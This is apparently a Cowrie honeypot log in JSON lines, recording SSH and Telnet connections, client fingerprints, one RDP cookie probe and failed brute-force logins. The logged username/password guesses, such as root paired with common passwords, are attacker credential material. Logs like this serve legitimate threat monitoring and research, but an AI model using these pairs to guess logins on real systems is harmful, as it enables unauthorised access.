{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:37.204563Z","src_ip":"91.4.14.170","session":"a8e07c3f8c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq112233!","message":"login attempt [root/Qq112233!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:37.681322Z","src_ip":"91.4.14.170","session":"a8e07c3f8c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:38.821524Z","src_ip":"91.4.14.170","session":"a8e07c3f8c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.28298354148865,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:43.824545Z","src_ip":"192.119.13.58","session":"feb04239ee68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.3701548576355,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:46.928218Z","src_ip":"192.119.13.58","session":"f5207ae742ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":34000,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc3f1f92c6bd","protocol":"ssh","message":"New connection: 46.19.67.181:34000 (159.203.135.109:22) [session: cc3f1f92c6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:59.058975Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":38658,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3749608d8ad","protocol":"ssh","message":"New connection: 186.219.184.142:38658 (10.17.0.5:22) [session: f3749608d8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:59.181117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:59.189634Z","src_ip":"186.219.184.142","session":"f3749608d8ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:59.330791Z","src_ip":"186.219.184.142","session":"f3749608d8ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345678","message":"login attempt [root/abc12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:30:59.925237Z","src_ip":"186.219.184.142","session":"f3749608d8ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:01.069599Z","src_ip":"186.219.184.142","session":"f3749608d8ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45554,"dst_ip":"10.17.0.5","dst_port":23,"session":"4083db2e298b","protocol":"telnet","message":"New connection: 192.119.13.58:45554 (10.17.0.5:23) [session: 4083db2e298b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:08.480916Z"}
{"eventid":"cowrie.session.closed","duration":36.653265953063965,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:12.161218Z","src_ip":"192.119.13.58","session":"6b7c3c84bd59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33326,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e3cde681f9","protocol":"telnet","message":"New connection: 192.119.13.58:33326 (10.17.0.5:23) [session: 77e3cde681f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:12.366184Z"}
{"eventid":"cowrie.session.closed","duration":46.612754344940186,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:13.031693Z","src_ip":"192.119.13.58","session":"9ded47e6eb7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39344,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c38eae69f25","protocol":"telnet","message":"New connection: 192.119.13.58:39344 (10.17.0.5:23) [session: 3c38eae69f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:13.750563Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57562,"dst_ip":"10.17.0.5","dst_port":23,"session":"a51fb10c0824","protocol":"telnet","message":"New connection: 192.119.13.58:57562 (10.17.0.5:23) [session: a51fb10c0824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:18.033737Z"}
{"eventid":"cowrie.session.closed","duration":45.471718549728394,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:21.101342Z","src_ip":"192.119.13.58","session":"f559734dabb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56778,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cad07a70e6b","protocol":"telnet","message":"New connection: 192.119.13.58:56778 (10.17.0.5:23) [session: 4cad07a70e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:24.748641Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42790,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e6ae7e34585","protocol":"telnet","message":"New connection: 192.119.13.58:42790 (10.17.0.5:23) [session: 2e6ae7e34585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:28.623349Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50664,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f467fa4cab","protocol":"telnet","message":"New connection: 192.119.13.58:50664 (10.17.0.5:23) [session: b2f467fa4cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:30.698886Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57399,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecee5faa077f","protocol":"ssh","message":"New connection: 167.172.81.52:57399 (159.203.135.109:22) [session: ecee5faa077f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:31.516877Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:31.522374Z","src_ip":"167.172.81.52","session":"ecee5faa077f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:31.527024Z","src_ip":"167.172.81.52","session":"ecee5faa077f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32976,"dst_ip":"10.17.0.5","dst_port":23,"session":"45ca5d22fc50","protocol":"telnet","message":"New connection: 192.119.13.58:32976 (10.17.0.5:23) [session: 45ca5d22fc50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:34.260063Z"}
{"eventid":"cowrie.session.closed","duration":37.71534967422485,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:46.196136Z","src_ip":"192.119.13.58","session":"4083db2e298b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":41092,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5f9a8fec09c","protocol":"ssh","message":"New connection: 91.4.14.170:41092 (10.17.0.5:22) [session: e5f9a8fec09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:53.022461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:53.027503Z","src_ip":"91.4.14.170","session":"e5f9a8fec09c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:53.157384Z","src_ip":"91.4.14.170","session":"e5f9a8fec09c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456789!","message":"login attempt [root/Qq123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:53.839973Z","src_ip":"91.4.14.170","session":"e5f9a8fec09c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:54.941861Z","src_ip":"91.4.14.170","session":"e5f9a8fec09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41066,"dst_ip":"10.17.0.5","dst_port":23,"session":"c64df51d4693","protocol":"telnet","message":"New connection: 192.119.13.58:41066 (10.17.0.5:23) [session: c64df51d4693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:55.542065Z"}
{"eventid":"cowrie.session.closed","duration":44.47471833229065,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:31:56.840562Z","src_ip":"192.119.13.58","session":"77e3cde681f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.68226194381714,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:03.430791Z","src_ip":"192.119.13.58","session":"4cad07a70e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.379493713378906,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:05.002709Z","src_ip":"192.119.13.58","session":"2e6ae7e34585","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.128292083740234,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:06.878756Z","src_ip":"192.119.13.58","session":"3c38eae69f25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.175508975982666,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:08.209139Z","src_ip":"192.119.13.58","session":"a51fb10c0824","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.54952359199524,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:09.248295Z","src_ip":"192.119.13.58","session":"b2f467fa4cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52322,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ac7059241ac","protocol":"telnet","message":"New connection: 192.119.13.58:52322 (10.17.0.5:23) [session: 5ac7059241ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:19.990617Z"}
{"eventid":"cowrie.session.closed","duration":48.760936975479126,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:23.020890Z","src_ip":"192.119.13.58","session":"45ca5d22fc50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39140,"dst_ip":"10.17.0.5","dst_port":23,"session":"e21e53282798","protocol":"telnet","message":"New connection: 192.119.13.58:39140 (10.17.0.5:23) [session: e21e53282798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:23.789370Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42900,"dst_ip":"10.17.0.5","dst_port":23,"session":"b76d59eeffd5","protocol":"telnet","message":"New connection: 192.119.13.58:42900 (10.17.0.5:23) [session: b76d59eeffd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:24.737355Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":40444,"dst_ip":"10.17.0.5","dst_port":22,"session":"88a63e644df7","protocol":"ssh","message":"New connection: 186.219.184.142:40444 (10.17.0.5:22) [session: 88a63e644df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:25.886982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:25.896408Z","src_ip":"186.219.184.142","session":"88a63e644df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47664,"dst_ip":"10.17.0.5","dst_port":23,"session":"629cb9186031","protocol":"telnet","message":"New connection: 192.119.13.58:47664 (10.17.0.5:23) [session: 629cb9186031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:25.952751Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:26.035771Z","src_ip":"186.219.184.142","session":"88a63e644df7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"1","message":"login attempt [www/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:26.622277Z","src_ip":"186.219.184.142","session":"88a63e644df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:27.764050Z","src_ip":"186.219.184.142","session":"88a63e644df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40310,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad2916a2a6a8","protocol":"ssh","message":"New connection: 147.45.199.80:40310 (10.17.0.5:22) [session: ad2916a2a6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:32.714553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:32.723289Z","src_ip":"147.45.199.80","session":"ad2916a2a6a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:32.823706Z","src_ip":"147.45.199.80","session":"ad2916a2a6a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfnbkmlf","message":"login attempt [root/vfnbkmlf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:33.124213Z","src_ip":"147.45.199.80","session":"ad2916a2a6a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:34.226786Z","src_ip":"147.45.199.80","session":"ad2916a2a6a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.712197542190552,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:34.664835Z","src_ip":"192.119.13.58","session":"629cb9186031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.69986701011658,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:37.241765Z","src_ip":"192.119.13.58","session":"c64df51d4693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":45622,"dst_ip":"10.17.0.5","dst_port":22,"session":"3402dbc74310","protocol":"ssh","message":"New connection: 94.159.98.239:45622 (10.17.0.5:22) [session: 3402dbc74310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:44.162098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:32:44.430852Z","src_ip":"94.159.98.239","session":"3402dbc74310","protocol":"ssh"}
